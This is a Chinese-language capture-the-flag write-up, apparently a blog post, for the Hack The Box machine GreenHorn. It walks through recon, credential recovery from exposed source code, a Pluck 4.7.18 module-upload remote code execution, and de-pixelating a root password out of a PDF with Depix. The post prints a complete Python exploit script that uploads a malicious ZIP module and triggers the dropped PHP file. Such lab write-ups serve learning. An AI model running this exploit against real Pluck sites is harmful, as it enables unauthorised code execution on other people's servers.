htb—greenhorn writeup

这是一台难度为easy的靶机。总体考的代码审计+CVE利用以及pdf模糊处理技巧(未解决)

信息收集

第一步,扫端口

1f088a34ee6945358d0ce4dccd16bed8.png

 正常来说22端口无用,所以看80和3000

访问80端口a447e2b012524bd58c7d2f6235ff1d79.png

 添加域名解析

echo "10.10.11.25     greenhorn.htb" >> /etc/hosts

再次访问e40fc0fb7a3d455cbb59eed7f920782f.png

 发现,是一个基于pluck框架搭建起来的网站。探查一下网站功能点。5faf32742eb84cae8b9cbc0a9b1c1c87.png

 发现登录表单。

同时也发现框架版本:pluck 4.7.18

首先考虑对应框架CVE。

查询pluck 4.7.18

e1784ed0bca0414bb8c28f1a0f2e6fc3.png

 发现存在远程代码执行。

查询exploit代码

import requests
from requests_toolbelt.multipart.encoder import MultipartEncoder

login_url = "http://greenhorn.htb/login.php"
upload_url = "http://greenhorn.htb/admin.php?action=installmodule"
headers = {"Referer": login_url,}
login_payload = {"cont1": "admin","bogus": "","submit": "Log in"}

file_path = input("ZIP file path: ")

multipart_data = MultipartEncoder(
    fields={
        "sendfile": ("mirabbas.zip", open(file_path, "rb"), "application/zip"),
        "submit": "Upload"
    }
)

session = requests.Session()
login_response = session.post(login_url, headers=headers, data=login_payload)


if login_response.status_code == 200:
    print("Login account")

 
    upload_headers = {
        "Referer": upload_url,
        "Content-Type": multipart_data.content_type
    }
    upload_response = session.post(upload_url, headers=upload_headers, data=multipart_data)

    
    if upload_response.status_code == 200:
        print("ZIP file download.")
    else:
        print("ZIP file download error. Response code:", upload_response.status_code)
else:
    print("Login problem. response code:", login_response.status_code)


rce_url="http://greenhorn.htb/data/modules/mirabbas/miri.php"

rce=requests.get(rce_url)

print(rce.text)

发现是利用pluck 4.7.18版本中install module组件中zip文件执行

但我们先得进入到他后台管理先。

访问3000端口,这里类似资源挂载网站。上面挂载了该网站的后端源码。

获取凭据

找到login.php开始代码审计

e78d98bc230e410fb9a70e6ed3cb1dc4.png

 5f864c20cec94e19bea9d92e5a9c21d3.png

 找到登录密码

解密44865033954c42909b689de63b42b9b9.png

 成功登录后台

73a8835eaadb4f62bd758861ed18a266.png

 获取初始立足点

跳转install module页面

c7706162925c4ba5bf5551533507c3b8.png

构建对应zip文件上传获取初始立足点呀

b7a629c7b55540f9a1a2786c67e9588a.png

 获取userflag

c445888caacd4a2592bc9163b742ce7b.png

 发现存在用户junior

利用web密码成功切换到用户

1131fb5e6ee041e7aa4cc7b537e4e11f.png

 22端口ssh失败5b87febb4e3b48a49741ede721409f3c.png

 再发现其home目录下存在一个pdf文件

获取并查看9f1ab271ea3e4876a62766f4232a9d60.png

72a7f816a71d44f8930349b64ab1bae5.png

 发现一段被模糊处理了的密码,推测这就是root密码

使用pdfimages获取pdf中的密码图片

再使用Depix工具进行马赛克还原

                               

获取root密码

再进行su切换

成功拿到root.txt

00283901bc2b4368af1adfc6a9539eeb.jpg

  • 4
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值